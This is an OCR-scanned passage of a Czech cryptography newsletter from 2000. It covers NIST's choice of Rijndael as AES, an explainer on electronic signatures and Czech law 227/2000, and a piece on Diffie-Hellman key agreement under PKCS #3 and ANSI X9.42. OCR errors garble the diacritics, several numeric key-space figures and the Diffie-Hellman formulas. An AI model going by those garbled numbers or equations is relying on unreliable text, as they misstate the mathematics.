MAGENTA, MARS, RC6, RIINDAEL, SAFER+, SERPENT, TWOFISH) . Z nich bylo do
dalsiho kola vybrano v kvétnu 1999 pét kandidat :
Rijndael (pripravil jej vynikajici tym belgickych kryptologii -Vincent Rijmen, Joan
Daemen), Serpent (navrzeny trojici znamych kryptologlh - Ross Andrson, Eli Biham, Lars
Knudsen) , RC6 (od RSA Data Security - Burt Kaliski, Ron Rivest), Twofish (ndvrh firmy
Counterpane System v cele s Brucem Schneierem), Mars (vytvofen rozsahlym tymem
odborniki IBM a vetejnosti prezentovan Nevenko Zunicem).
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Letos 15. kvétna byla publikovana rozsahla zprava o hardwarovém posouzeni téchto
peti algoritma. 2.10.2000 pak byl vybrén vitéz , ktery bude podroben procesu hodnoceni
NIST, a za rok - v 1ét€ roku 2001 - bude vyhlaSen novy Sifrovy symetricky standard pro
Sifrovani senzitivnich, nikoliv vSak klasifikovanych informaci v USA . Timto vitézem se stal
algoritmus Rijndael.

3. Seznamte se : Rijndael

TéSi mé, jmenuji se Rijndael . Maminka se jmenuje Joan Daemen a tatinek Vincent
Rijmen. Jsem ze slavné rodiny blokovych algoritmii. Nejslavnéjsi z nasi rodiny je mij
dédecek DES. Je uz stary a prestal vam lidem dobfe slouZit. Jen co trochu vyrostu a
dostanu legitimaci od NIST, pijdu v jeho stopach a budu vam zdarma pomahat ...

MATKA : Joan Daemen

Joan Daemen se narodil roku 1965 v belgické oblasti Limburg a vyrtstal ve vesnici
Achel. Studoval na Electro-Mechanical Civil Engineering na Katholieke Universiteit Leuven.
V roce 1988 se stal ¢lenem znamé vyzkumné skupiny COSIC (COmputer Security and
Industrial Cryptography, COSIC byl v kvétnu 2000 poctén potfaddnim vyznamné
kryptologické konference EUROCRYPTU 2000). Zabyval se kryptoanalyzou a tvorbou
proudovych a hashovacich funkci. Titul PhD. ziskal v bfeznu 1995.

Po ziskani PhD. opustil oblast kryptografie a pracoval ve firmé¢ Janssen Pharmaceutics
( Johnson and Johnson Company) v Beerse (Belgie). Poté se vratil k pocitacové bezpecnosti a
nastoupil do vyznamné pozice v belgické bance Bacob a brzy poté ptesel do Banksys (v té
dobé¢ hlavni belgicky operator ATM a EFT-POS terminali).

Na jate 1998 oslavila velky komercni uspéch elektronickd penéZenka (Proton
Electronic Purse) vyvinutd pravé v Banksys. Tento pronikavy uspéch vedl k piejmenovani
firmy na Proton World International. Tato nova spolecnost sidli v Bruselu a jejim cilem je stat
se dilezitym technologickym providerem pro feSeni end-to-end a v oblasti ¢ipovych karet.
Zaméfuje se na dosazeni nejvysSi mozné bezpeCnosti v oblasti platebnich systémil a
bankovnictvi. Daemen byl po celou dobu provadéni téchto zmén ¢lenem vyvojového tymu
pro bezpecnost a v této firmé pracuje i v soucasné dobg.

V soucasné dob¢ se zajiméd predevsim o kryptografické protokoly ¢ipovych karet,
architekturu multi-funk¢énich smart karet, karet pro klicové hospodarstvi a identifikaci osob.

Od odchodu z wuniverzity az do soucasné doby pokracuje v navrhovani
kryptografickych primitivi. Casto spolupracoval se svym byvalym kolegou Vincentem
Rijmenem z COSICU. V roce 1997 spolecn¢ zvetejnili navrh Sifrovaciho algoritmu Square,
ktery byl velmi vykonny a obsahoval fadu inovatorskych myslenek. Tento algoritmus se stal
predchtiidcem algoritmu Rijndael, ktery spole¢né piihlasili do soutéze o AES.

OTEC : Vincent Rijmen

Vincent Rijmen se narodil roku 1970, v malém mésté Leuven (blizko Bruselu) v
Belgii. V roce 1993 dokon¢il studium elektrotechnického inzenyrstvi na zndmé Katholieke
Universiteit Leuven (K.U. Leuven). Po absolvovani nastoupil do ESAT/COSIC laboratofe
K.U. Leuven (COmputer Security and Industrial Cryptography) a zah4jil studium PhD. V roce
1997 Vincent Rijmen obh4jil disertaci "kryptoanalyza a stavba iterativnich blokovych Sifer".
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Zustal pracovat v laboratofi COSIC, kterou vedou profesoii Bart Preneel a Joos
Vandewalle. Jeho védecky vyzkum (vcetné prace na Rijndaelu) byl sponzorovéan z fondu pro
védecky vyzkum - Flandry (Belgie).

Svoji plisobnost ve vyzkumné laboratofi zah4jil praci, kterd vedla k implementaci
utoku na redukovanou verzi DES. Jeho oblibenym vyzkumnym tématem byla vzdy
kryptoanalyza a stavba blokovych Sifer, zabyval se vSak i dalS§imi kryptografickymi primitivy
jako hashovacimi algoritmy a MAC algoritmy a dale vyhodnocovanim bezpec¢nosti rtiznych
systém (v e-bankovnictvi, implementace Sifrovani, atd.).

Mimo kryptologii se Vincent Rijmen zabyva experimentovanim s Linuxem, je ¢lenem
skautského oddilu a rad hraje na svém PC pocitacové adventury.

DITE : Rijndael

1. Co je Advanced Encryption Standard (AES)?

Advanced Encryption Standard (AES) je novy Sifrovy algoritmus, ktery bude definovan
normou Federal Information Processing Standard (FIPS). Bude urcen na ochranu citlivych
(neklasifikovanych) informaci ve statni spravé USA. NIST predpokladd, ze AES bude
pouzivan i organizacemi a jednotlivci mimo statni spravu a mimo uzemi USA.

2. Ktery algoritmus z poslednich péti kandidata NIST vybral a jak se spravné
vyslovuje?

Jako AES algoritmus NIST vybral Rijndael. Vyvojafi tohoto algoritmu sami navrhli (na
zakladé souzvuku) nasledujici alternativni vyslovnosti "Reign Dahl (Vl1adnouci Dahl)," "Rain
Doll (Placici panenka)" a "Rhine Dahl(Rynsky Dahl)". Spravné ¢eska vyslovnost je "rijndél".

3. Kdo navrhl algoritmus?

Algoritmus navrhli dva belgicti védci: Dr. Joan Daemen z firmy Proton World International a
Dr. Vincent Rijmen ( Electrical Engineering Department (ESAT) na Katholieke Universiteit
Leuven). Viz ptfedchozi zivotopisy.

4. Existuje dokument, ktery zduvodiiuje vybér NIST pro AES?

NIST inicioval vytvofeni nezavislé odborné skupiny, kterd sepsala "Zpravu o kandidatech na
AES". Je to rozsdhly komplexni rozbor, ve kterém jsou diskutovany rtizné sporné otazky
vztahujici se k AES; obsahuje analyzy a komentare, které byly pifipojeny béhem obdobi
uréené¢ho k vefejnému posouzeni, shrnuje charakteristiky vSech péti finalisti. Porovnava
jednotlivé kandidaty a zdiivodiuje rozhodnuti NIST pro vybér Rijndaelu.

Kompletni zprava k AES je k dispozici na domaci strance AES http://www.nist.gov/aes . Zde
1ze nalézt nasledujici dokumenty:

- Report on the Development of the Advanced Encryption Standard (AES)

- specifikaci Rijndaelu

- testy

- vSechny vefejné piipominky , v€etné vSech piispévki na riznych konferencich, které se
zabyvaly AES

- dalsi "historické" informace

5. Proc je toto oznameni o volbé AES tak vyznamné?
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Timto ozndmenim je ukonceno Ctytleté usili zahrnujici spolupraci mezi vladou USA,
soukromym primyslem a akademickou obci z celého svéta za ucelem vyvoje Sifrového
algoritmu, ktery bude v nésledujicich letech uzivany miliény lidi po celém svéte. NIST
predpokladé jeho masové pouZzivani i mimo USA.

6. Stal se tedy AES novym oficialnim standardem pro statni spravu USA?

Ne. NIST nyni pfipravi draft nové navrhovaného federalniho standardu (Draft Federal
Information Processing Standard (FIPS)). Algoritmus bude pouzivan ve statni spravé USA na
ochranu citlivych (neklasifikovanych) informaci. NIST predpokladé, ze AES bude pouZivan i
organizacemi a jednotlivci mimo statni spravu a mimo tzemi USA.

7. Kdy bude dostupny draft standardu AES ? Bude niavrh normy predloZen verejné
diskusi ?

NIST ptedpokladd uvefejnéni draftu FIPS pro AES pfiblizné¢ jeden az dva mésice po
oznameni vybéru AES. Pfedpoklada se, ze NIST bude po dobu 90 dnu pfijimat komentare a
pfipominky. NIST umisti draft FIPSu pro AES na svoji www stranku,
http://www.nist.gov/aes/ , spolu s informaci, jak postupovat pfi pfipominkach a vetfejnych
komentafich.

8. Kdy se AES stane oficidlnim standardem?

AES se stane oficidlnim standardem 90 dnti po skonceni obdobi uréeného ke komentovani
draftu. Béhem tohoto obdobi NIST zapracuje vhodné zmény do konceptu FIPS, a poté ministr
obchodu schvali FIPS. V soucasné dob¢ se predpoklada, Ze se tak stane nékdy v obdobi duben
- ¢erven 2001.

9. MiiZete upresnit piehled ¢asového planu schvalovani nového standardu ?

2.tf{jna , 2000 oznamil NIST vybér kandidata pro AES.

Listopad 2000 - vypracovani draftu FIPS pro AES a ptfedloZeni k vefejnym komentaitim.
Unor 2001 - bude uzavieno obdobi uréené k pfipominkam.

Duben-¢erven 2001 (?) AES FIPS se stane standardem.

Tento ¢asovy plan miize NIST dle potifeby pozménit.

10. Pro¢ NIST vybral Rijndael za AES?

Rijndael kombinuje nejlépe pozadavky na bezpecnost, vykonnost, jednoduchost a flexibilnost
implementace a neobycejnou celkovou pruznost feseni. Rijndael se dobfe implementuje jak v
hardwaru, tak v softwaru. Odolava "¢asovému utoku" zalozenému na méfeni specifické doby
potiebné na rtizné typy operaci. Byl navrzen velice pruzné a je pripraven k implementaci
dodatecnych opatfeni proti predchozimu typu utoku. Umoziuje pouzivat rizné délky klicu,
rizné pocty rund apod.

13. Nahradi AES standardy 3DES a DES?
AES byl vyvinut ptfedevsim, aby nahradil DES. DES jako zastaraly a z bezpec¢nostniho
hlediska jiz nevyhovujici algoritmus nebude dale pouzivan. NIST piedpoklada, ze 3DES
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zustane dale jako schvaleny algoritmus pro pouziti ve statni spravé USA. 3DES a DES jsou
specifikovany ve FIPS 46-3, zatimco AES bude specifikovan ve zvlaStnim FIPS.

15. Jak velké klice AES poziva ?

AES umi pracovat s tfemi velikostmi kli¢i: 128, 192 a 256 bitt.

To dava v dekadické soustaveé nasledujici pocty moznych voleb klict :

3.4 x x10*® moznosti pro 128-bitovy kli¢;

6.2 x x10°" moznosti pro 192-bitovy kli¢ ;

1.1 x x10"" moznosti pro 256-bitovy klic .

Pro porovnani kli¢ DES je dlouhy 56 biti coz dava 7,2x10'® moznosti volby klige.

TakZe mohutnost mnoziny kli¢i AES délky 128-biti je priblizné 10*' krat vétsi nez mnozina
klica algoritmu DES s 56-bitovym kli¢em.

16. Jaka je Sance, Ze by nékdo mohl postavit analogii hardwarového zarizeni "DES
cracker" pro AES, které by mu umoznilo najit spravny kli¢?

Koncem roku 1990 jiz bylo k dispozici specializované hardwarové zatizeni "DES cracker",
které dokazalo otestovat vSechny klice béhem nékolika hodin.

Podobny stroj pro AES - tedy feknéme napi. specialni hypoteticky hardware, ktery by mohl
mit vykon odpovidajici vyzkouseni 2°° rtiznych kli¢t za sekundu - by vyzadoval k vy&erpani
vSech moznych klict délky 128 bith AES piiblizné¢ 149 triliona let. Jen pro predstavu, o jak
obrovskou dobu jde, poznamenejme, Ze staii vesmiru je odhadovano na maximalné 20 miliard
let, tedy k vyCerpani vSech klict by tento stroj potteboval dobu 7000x delsi!

17. Do kdy bude AES standardem?

Nikdo nemuze pfedem fici, do kdy bude AES bezpecny a tedy pouzivany standard. Standard
DES napft. vydrZel bezpe¢nym pfiblizné dvacet let, nez se pomoci specializovaného hardwaru
podafilo najit utok k nalezeni ptislusného kli¢e. AES pouziva vyznamné delsi klice nez
pouziva DES. Pokud nebude nalezen néjaky v soucasné dob€ nezndmy analyticky utok proti
AES, ktery bude rychlejsi nez utok hrubou silou (tj. zkouskou vsech kli¢a), pak bude AES
bezpecny az do doby, kdy zatim nezndmé technologie umozni provést ttok hrubou silou.
NIST ocekava, ze AES bude standardem minimaln€ dvacet let.
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Literatura :

Cast 1. a II. je vytahem z ¢lanku

P.Vondruska : "Od asymetrické kryptografie k elektronickému podpisu"
(COMPUTERWORLD 39/2000). Elektronick4 podoba je dostupna na :
http://www.cw.cz/cw.nst/page/97B327BB03259793C1256958003D2436

Cast I11.

Zpracovano voln¢ podle dokumentii obsazenych na
http://www.nist.gov/public_affairs/releases/biovince.htm
http://www.nist.gov/public_affairs/releases/biojoan.htm
http://www.nist.gov/public_affairs/releases/aesq&a.htm
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C.Kde si mohu koupit sviij elektronicky podpis?
Mgr. Pavel Vondruska (NBU)

1L.Uvod

Cilem c¢lanku je uvést Ctendfe do soucasného stavu problematiky elektronickych
podpisi. Jde o to, aby vétu z nadpisu : "Kde si mohu koupit elektronicky podpis?" Ctenaf
nikdy sam nevyslovil a pokud ji od nékoho uslysi nebo si ji nékde precte (coz je bohuzel v

soucasnych novinach zcela bézn¢), aby védel, ze je "nesmyslnad".

2. Rucni podpis

Nejprve n¢kolik slov ke
klasickému "ru¢nimu" podpisu.
Podpisujici  osoba  vyjadiuje  svym
podpisem vazbu k psanému dokumentu
(potvrzuje, ze jej psala, nebo Ze souhlasi se
zavazky uvedenymi v  dokumentu,
potvrzuje, ze text Cetla apod.). Vzhledem k
vlastnostem klasickych podpist
(jednoduchost a operativnost provedeni
podpisu, jistd srozumitelnost podpisu nebo
jednoznacénost podpisu, pomérné

problematicky  zpiisob  paddlat  tento |k b

podpis) se ujalo vytvareni zavaznych
dokumentii s podpisem ptislusnych osob.

Rada pravnich tikonti vyZzaduje tento zptisob potvrzeni aktu a piipadné stanovi nékteré
dalsi podminky k zajisténi vétsi daveéry v tento podpis (razitko, podpis podle podpisového
vzoru, podpis pied notafem atd.)

3. Potieba elektronického podpisu

V soucasné dobé se vzhledem k modernim technologiim vyznam tohoto klasického
podpisu zacind zmenSovat. Dokumenty cestuji v elektronické podob¢ (faxem, oscanované,
textové soubory, e-maily, SMS) a neni pfili§ obtizné pad¢lat napt. na faxové varianté
dokumentu ruéné psany podpis. Pfitom elektronickych dokumentt stale ptibyva a uzivatelé si
uvédomuji vyhodnost takovéhoto pohybu materidll. Je tedy nutné zavést zplisob
elektronického podpisovani ekvivalentni klasickému "ru¢nimu" podpisu takovychto
dokumentil. Musi to byt postup, ktery zarucuje obdobné vlastnosti, jaké ma rucni podpis.

U dokumentt podepisovanych timto zplisobem je také tieba zajistit jejich autenticnost
(ptivod, autora), jejich neporuSenost (integritu), nepopiratelnost (podepsana strana nemiize
pozd¢ji poptit, ze dany dokument podepsala), pravmni akceptovatelnost (neodmitnuti
elektronického podpisu v pravnim sporu). Za nékterych okolnosti k tomu pfistupuji i dalsi
pozadavky ( napft. na utajeni obsahu dokumentu pted nepovolanou osobou nebo na existenci
dokumentu v daném case ; t€mito problémy, i kdyz tzce souvisi s danou tématikou, se
zabyvat nebudeme ).
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4. Technika elektronického podpisu

K vykladu toho, jak probiha elektronické podpisovani probihd (nebo alesponl jeho
nejpouzivanéjsi forma - digitdlni podpis ) je zapotiebi seznamit se s bezpecnymi
kryptografickymi moduly - asymetrickou Sifrou a hashovaci funkeci.

Hashovaci funkce ma za ukol vytvofit takzvany otisk zpravy. Vstupem hashovaci
funkce mize byt zprava libovolné dlouhd, na vystupu obdrzime jeji otisk, ktery mé pevnou
délku. Pokud bychom ve zpravé zménili byt’ i jediné pismenko, dostaneme na vystupu uplné
jiny otisk. NejzndméjSimi a nejpouzivangj§imi piedstaviteli hashovacich funkei jsou MD5
(message digest, otisk délky 128 biti) a SHA-1 (Secure Hash Algorithm, otisk délky 160
biti).

Podepisujici osoba musi mit dale pfipravenu sadu svych kli¢t (soukromy a vetejny
kli¢) pro n€ktery asymetricky algoritmus. Soukromy (privatni, tajny) kli¢ jsou jedine¢na data,
ktera podepisujici osoba pouziva k vytvaieni elektronického podpisu. Vetrejny kli¢ jsou
jedinecnd data, svazana jednoznaénym zplsobem s daty pro podpis a slouzici pro ovéteni
elektronického podpisu. Nejznaméj$im a nejpouzivanéjSim asymetrickym algoritmem je RSA
(1977, zkratka z prvych pismen tvlrct systému Rivest, Shamir a Adelmann), ale mohou se
pouzit i asymetrické algoritmy zaloZené na diskrétnim logaritmu nebo eliptickych kiivkach.

Pribéh elektronického podpisu je pak takovyto: podepisujici osoba vypocte hash
dokumentu, ktery chce podepsat, hash dale zaSifruje pomoci zvolen¢ho asymetrického
algoritmu a pomoci svého soukromého klice. Ziskany vysledek "V" je pfiloZzen k pivodni
zpravé. Takto upravena zprava je tzv. elektronicky podepsana. Jak se postupuje pii
oveéfeni? K otevienému textu se vypocte hash. Odsifruje se "V" pomoci vetejného klice
podepsané osoby a dostane se jim spo¢teny hash. Nyni se porovna pfijemcem a odesilatelem
spocteny hash. Pokud jsou tyto hodnoty shodné, pak nebyl dokument cestou zménén (hashe
jsou shodn¢) a dokument podepsala osoba, které prislusi vetejny kli¢ (jen ta mohla zaSifrovat
hash pomoci svého soukromého klice). Zda se to slozit¢é ? Nebojte se, vSe provadi
automaticky softwarovy nebo hardwarovy prostfedek. V praxi tedy pouze vybereme
dokument, zvolime akci podepsat, piipadné jesté zvolime, ktery privatni kli¢ se ma pouzit
(kazdd osoba miize mit ptipraveno nckolik privatnich kli¢d). To je vSe. Pii pfijmu
podepsan¢ho textu jsme zpravidla upozornéni, Ze text je podepsdn a zda chceme podpis
ovetit. Zadame-li ano, program provede automaticky vyse popsané ovéteni podpisu.

5. Zakon o elektronickém podpisu

Pouzivani elektronickych podpistt a dohled nad vybranymi typy poskytovatell
certifikacnich sluzeb pottebuje zakonnou Upravu. Velice zhruba fe¢eno, musi byt elektronicky
podpis (a jeho jednotlivé bezpecnostni varianty) pfesné¢ definovan, je potieba uznat rovnost
elektronického podpisu s podpisem "ru¢nim", zajistit neodmitnuti elektronického podpisu z
davodu, ze je proveden elektronicky a musi byt stanovena pravidla chovani certifika¢nich
autorit a podminky, které musi tyto instituce spliiovat, pfipadné musi byt stanoven urcity
rezim a dohled nad sluzbami certifika¢nich autorit. Koncem roku 1999 ptijala Evropska unie
Smérnici o elektronickych podpisech (1999/93/EC). Tento dokument je pro ¢leny EU zavazny
a prislusné zékony jednotlivych zemi se musi s timto dokumentem postupné harmonizovat.
Zaroven probihal proces schvalovani zékona o elektronickém podpisu i v Ceské republice. Do
tohoto zdkona se podafilo v€lenit vétSinu pozadavkh Smérnice. Po schvaleni v parlamentu a
senatu podepsal 11. 7. 2000 tento ddlezity zakon (£.227/2000 Sb.) i prezident Ceské
republiky. Zékon nabyl ¢innosti 1.10.2000.
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Dohled nad certifikacnimi autoritami a dalsi ukony vyplyvajici z tohoto zédkona byly v
Ceské republice svéfeny nové vzniklému Ufadu pro ochranu osobnich udajii. Postup kontroly
nad vydavanim kvalifikovanych certifikati a proces udé€leni akreditace pro poskytovani
certifikacnich sluzeb upiesni provadéci vyhlasky tradu.

5. Elektronicky podpis - definice

Dle definice Zakona o elektronickém podpisu ¢.227/2000 Sb. jsou elektronickym
podpisem dokumentu minény udaje v elektronické podobe, které jsou pripojené k datové
zprave nebo jsou s ni logicky spojené a které umoznuji ovéreni totoznosti podepsané osoby ve
vztahu k datové zprave.

Do této obecné definice se da zaradit celd fada postupt, které umozni elektronicky
podepsat dany dokument. Tyto metody mohou byt slozité ¢i jednoduché, uzivatelsky ptitulné
nebo komplikované, mohou byt bezpeéné¢ ¢i méné bezpecné, diveéryhodné nebo méné
divéryhodné apod.

Otazka bezpecnosti je z pravniho hlediska (ale 1 z hlediska obecné davéry)

vvvvvv

Zaruceny elektronicky podpis je kazdy
elektronicky podpis, ktery spliluje tyto
pozadavky:

(a) je jednozna¢né spojen s podepisujici
osobou;

(b) umoznuje identifikaci podepisujici
osoby ve vztahu k datové zprave;

| (c) byl vytvofen a ptipojen k datové zprave
. pomoci prostiedkli, které podepisujici
osoba muze udrzet pod svou vyhradni
kontrolou;

(d) je k datové zprave, ke které se vztahuje,
piipojen takovym zplsobem, Ze je mozZno
zjistit jakoukoliv naslednou zménu dat.
Obr.2 Autor tohoto ¢lanku vysvétluje pojem elektronicky podpis .

poiad Dobré rano, 11.10.2000 (Ceska televize)

7. Poskytovatelé certifikacnich sluzeb

Zbyva dilezitd otdzka - divéryhodné zjiSténi identity osoby, kterd vlastni privatni
(soukromy) kli¢. Pro ovéfeni podpisu dané osoby mame k dispozici jeho vetejny kli¢ a
potfebujeme nékoho, kdo je schopen k tomuto kli¢i jednozna¢né prifadit identitu drzitele
privatniho (soukromého) klice.

V praxi se vyuziva tfeti divéryhodna strana. Tato tfeti strana eviduje vetejné klice (v
terminologii zdkona - data pro ovérovani elektronickych podpist) a stvrzuje identitu jejich
majiteld. Takovato strana se nazyva poskytovatel certifikacnich sluzeb (vzitym oznacenim
certifikacni autorita).

Mimo softwaru pro podepisovani dokumentli tedy musime mit jesté¢ vygenerovanou
dvojici svych kli¢i a sviij vefejny kli¢ si nechat zaevidovat u nami zvolené¢ho poskytovatele
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certifikacnich sluzeb. Vybér se fidi divérou v takovéhoto poskytovatele, ptipadné v kvalitu a
rozsah nabizenych sluzeb. Tyto informace musi kazdy poskytovatel certifikanich sluzeb
zvetejnit ve své certifikacni politice, se kterou se mize kazdy zdjemce pfedem seznamit. Pro
uzivatele mize byt jistym voditkem pii rozhodovani existence dvou zakonem definovanych
kategorii : poskytovatel certifika¢nich sluZeb, ktery vydava kvalifikované certifikaty a
akreditovana certifika¢ni autorita. Tyto dvé kategorie poskytovatell certifikac¢nich sluzeb
podléhaji kontrole Utadu pro ochranu osobnich tdaji. Poskytovatelé certifikagnich sluzeb,
ktetfi vydavaji kvalifikované certifikdty, musi prokdzat, Zze spliluji fadu bezpecnostnich
pozadavkl (§ 6 Zakona o elektronickém podpisu) . Akreditovana certifikacni autorita musi
vydavat kvalifikované certifikdty a musi splnit pozadavky udéleni akreditace (podminky § 10
Zakona o elektronickém podpisu). V oblasti veiejné moci je dovoleno pouzivat pouze
zaruené elektronické podpisy a kvalifikované certifikdty vyddvané akreditovanymi
poskytovateli certifikacnich sluzeb.

V soucasné dob¢ pusobi fada poskytovateli certifikacnich sluzeb. Jejich nabidky
(v€etné certifikacni politiky a ceniku) lze vyhledat napt. na Internetu.

8. Zavér
Vyuzivani elektronického podpisu a dalSich souvisejicich moznosti se zpocatku

soustfedi na standardni oblasti vyuziti - tedy podpisy e-maild, podpisy riznych dokumentt,
specidln¢é ptipravenych formulari - vykazl, hlaseni apod.. Rozsiii se pravdépodobné i na

zjistovani identity uzivatele pii pfistupu k
=

distribuovanym  databazim a zde ke
_——

zptistupnéni napf. jen téch dat, kterd jste si
zaplatili. Pouzit se d& tato technologie i1 v

oblasti elektronickych plateb a elektronického
obchodu. D4 se také ocekavat celd fada
; specidlnich aplikaci - uréenych pifimo pro
konkrétni styk dvou ¢i vice subjektl, jako
napf. komunikace obcfan - finan¢ni ufad

(podavani  onéch  "slavnych"  daiovych
pfiznani), 1ékaf - zdravotni pojiStovna, pacient
- lékat. Piedpokladd se identifikace obcana
pomoci Cipové karty (s daty pro vytvaieni
elektronického podpisu; na kart¢ mohou byt
ulozeny 1 dal$i uzitené udaje o osob¢
drzitele).

Obr. 3 Ruzné druhy nosicu dat pro vytvareni elektronického podpisu

V tomto roce napt. ziskaji vSichni ob¢ané v Belgii socidlné-identifika¢ni karty, v Rakousku se
vydévaji prikkazy ob¢ana pro socidlni ucely a dichodové pojisténi. VEtim, ze podobné karty
se budou pouzivat i jako osobni identifika¢ni prikazy obfana. Mimo téchto ocekavanych
aplikaci se, alesponn doufam, objevi 1 fada zatim neocekdvanych pouziti, které¢ tato nova
technologie umozni.
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D. Kryptografie a normy
Ing. Jaroslav Pinkava, CSc. (AEC spol. s r.o.)

Dil 2.
Normy PKCS (Public-Key Cryptographic Standards) - PKCS #3.

Uvod

Dnesni ¢ast seridlu bude pokracovat pifehledem norem PKCS firmy RSA Security a
bude vénovana PKCS #3 (Diffie-Hellmanovo schéma pro dohodu na kli¢i). Protoze v dnesni

vvvvvv

PKCS #3

V soucasné dobé¢ je platnd verze 1.4 této normy (listopad 1993). PKCS #3 popisuje
zpusob implementace Diffie-Hellmanovi dohody na kli¢i. Dvé strany, bez ptedchozich
ujednani se mohou dohodnout na tajném kli¢i, ktery je znamy pouze jim (samoziejmé za
predpokladu, e kazda z t&chto stran uchovava v utajeni sviij piislusny soukromy kli¢). Zadny
potencialni narusitel, ktery provadi monitorovani jejich komunikace nemuze na zaklad¢ jejich
dialogu tento novy tajny kli¢ ziskat. Tento kli¢ je pak pouzit k zaSifrovani vzajemné
komunikace (symetrickou kryptografii).

Generovani parametri

Norma predpoklada existenci néjaké stfedni instituce, jejimz tkolem je vygenerovani
zékladnich parametri Diffie-Hellmanova schématu. Tato instituce vygeneruje prvocislo p, pro
jehoz délku k (v oktetech — osmicich bitit) plati nerovnost:

28(k=1) < p <28k

Déle vygeneruje tzv. zaklad (bazi) g a (nepovinn¢) 1 délku 1 - v bitech - soukromych dat (plati
2l-1 < p.). Jednotlivi uzivatelé si pak vygeneruji (ndhodné&, soukromé a utajen¢) sva soukroma
data x, pro ktera plati 0 < x < p—1. V pripad¢, Ze byla zvolena délka | téchto soukromych dat,
musi platit 21-1 < x < 21, Vefejny klic uzivatele je ziskan jako

y=g¥modp, O0<y<p.
Diffie-Hellmanovo schéma dohody na klici
Predpoklddejme nyni, ze dva nezavisli uzivatelé¢ si vygenerovali vySe uvedenym
postupem (pifi shodném p a g) své soukromé a vetejné klice x1, yl resp. x2, y2. Vefejné

klice yl a y2 byly posléze vhodnym (tzn. ditvéryhodnym) zplsobem zvetejnény. To se
v soucasné dob¢ provadi naptiklad pomoci digitalnich certifikatt téchto vetejnych klici.
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Cileny tajny kli¢ (sdilenou tajnou hodnota) spocte napt. prvni uzivatel nasledovné
z=(y2)Xl modp, 0<z<p.

Tato hodnota je shodna s hodnotou, kterou spocetl druhy uzivatel, nebot’ plati

7= (yz)xl - (gx2)x1 = (gl)X2 = (yl)X2 modp.

ANSI X9.42

Déle se podivame na soucasnou variantu Diffie-Hellmanova schématu pro vyménu
klict, tak jak ji fesi norma ANSI X9.42 (opirajice se i o vysledky v [3]).

Generovani parametri

Pro doménu (mnozinu uzivateli komunikujici na bazi shodnych zékladnich parametrt
pro kryptosystém s veiejnym klicem) je generovana nasledujici trojice Cisel: (p, q, g). Je to
provedno takovym zplisobem, Ze p je prvocislo, q je prvociselny faktor p-1 (tj. ¢islo q je
délitelem cisla p-1) a g je prvek GF(p) (zde 1 <g <p-1) fadu q.

Cely postup je jesté konkrétnéjsi v tom, Ze jsou apriori dany urcité meze, ve kterych se
musi hledana c¢isla pohybovat:

(L1 p<2L’

pfitom L=256n, m> 160, n> 4.

Norma piimo definuje doporucovany algoritmus ke geneerovani vyse uvedené dvojice
prvocisel p a q (Annex B). Vstupem algoritmu je vygenerované ndhodné Cislo (nahodnost je
zde minéna ve smyslu kryptograficky bezpe¢né ndhodnosti, tzn. naptiklad pokud je timto
zpisobem generovana posloupnost nahodnych c¢isel, nelze ze znalosti ptfechozich resp.
budoucich hodnot posloupnosti odvodit hodnotu praveé pouzitého ¢isla). Toto Cislo (seed) je
nejprve vyuzito ke konstrukei prvocisla q leziciho v zadanych mezich — vyuzivana je k tomu
hashovaci funkce SHA-1. Primalita ziskaného ¢isla je ovéfovana napi. Rabin-Millerovym
testem. Nasledn¢ je (rovnéz pomoci hodnoty seed) konstruovano prvocislo p potiebné
velikosti, zde navic musi byt dodrZzena podminka p mod q = 1.

Zaklad g je generovan tak, aby mél (prvociselny) fad q. To je zajiSténo néasledujicim
postupem:

Vstup: prvocislap, q (p mod q=1),
Vystup: generator g fadu q.

1. j=(-D/jq

2. g=libovolné celé Cislo takové, ze 1 <g <(p - 1).

3. g=¢g'modp.

4. Pokud g =1, jdi ke kroku 2, v opa¢ném ptipad¢ ke kroku 5.
5. Ziskana hodnota g je vystupem..

Crypto - World 2000 122



Norma rovnéz popisuje presny postup validace téchto parametri. Toto dava napf.
moznost konkrétnimu uZzivateli ovéfit si, zda deklarované hodnoty parametrii byly generovany
ptislusnym postupem, tj. dostatecn¢ ndhodné¢ a neobsahuji zadna zadni vratka pomoci kterych
by se jina strana mohla dostat k jeho soukromému kli¢i.

Soukromy kli¢ si generuji jednotlivi uZivatelé a sice nalezenim statisticky unikatniho a
nepredikovatelného ¢isla x, 1 <x < g-1. Vetejny kli¢ y je spocten klasicky, tj.
y =g mod p.

Pro dohodu dvou uzivatell na tajném klici je pocitana tzv. sdilend tajnd hodnota jako
z=(y2)Xl modp, 0<z<p.

resp.
z=(y1)X2m0dp, O0<z<p.

Konkrétni tajny kli¢ pro dané spojeni je vypocitdvan z této sdilené tajné hodnoty - tato
je spolu s dalSimi obéma strandm zndmymi udaji, jako napf. znaméa hodnota citace atd.
vstupem hashovaci funkce a pfislusny kli¢ je ziskdvan z vystupu tohoto hashe.

Existuje jesté tzv. MQV varianta, zainteresovaného Ctenare vSak odkazuji na [2].

Shrnuti

Diffie-Hellmanovo schéma pro vyménu klict je pies svoji jednoduchost (nebo spise
pravé proto) stale jednim z nejpopularnéjsich a nejuzivanéjsich schémat pro dohodu na tajném
kli¢i pro symetrickou Sifru na zaklad¢ pouziti vetejnych kli¢th asymetrické kryptografie.
Modernéjsi postupy generovani piisluSnych parametri schématu pies svoji pomérnou
sofistikovanost pfinasi do aplikaci dalsi bezpecnostni prvky. Dalsi zdokonaleni uvedenych
postupil pfindsi tzv. prokazatelné¢ bezpecnd schémata (lit. [4]). Tyto postupy zatim nejsou
soucasti existujicich norem. Na druhou stranu pracovni skupina P1363 jiz ptevzala pro své
chystané¢ dokumenty (v ndvaznosti na [3]) komplexni model ACE V. Shoupa, ktery z ¢lanku
[4] vychazi.

Literatura:

[1] http://www.rsasecurity.com/rsalabs/pkcs/

[2] ANSI X9.42 Accredited Standards Committee X9. Public Key Cryptography for the
Financial Services Industry: Management of Symmetric Algorithm Keys
Using Diffie-Hellman.

[3] 1363-2000 IEEE Standard Specifications for Public Key Cryptography, September 2000

[4] Cramer, R.; Shoup, V.: A Practical Public Key Cryptosystem Provably Secure against
Adaptive Chosen Ciphertext Attack, In Advances in Cryptology—Crypto "98, 1998.
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E. Prohlaseni UOOU pro tisk

Tiskova zprava

K 1. fijnu 2000 vstupuje v platnost zakon ¢. 227/2000 Sb., o elektronickém podpisu
a o zméné¢ nékterych zakonl (zdkon o elektronickém podpisu), ktery vytvaii zakladni
legislativni ramec pro pouzivani elektronickych podpist a jejich zrovnopravnéni s podpisy
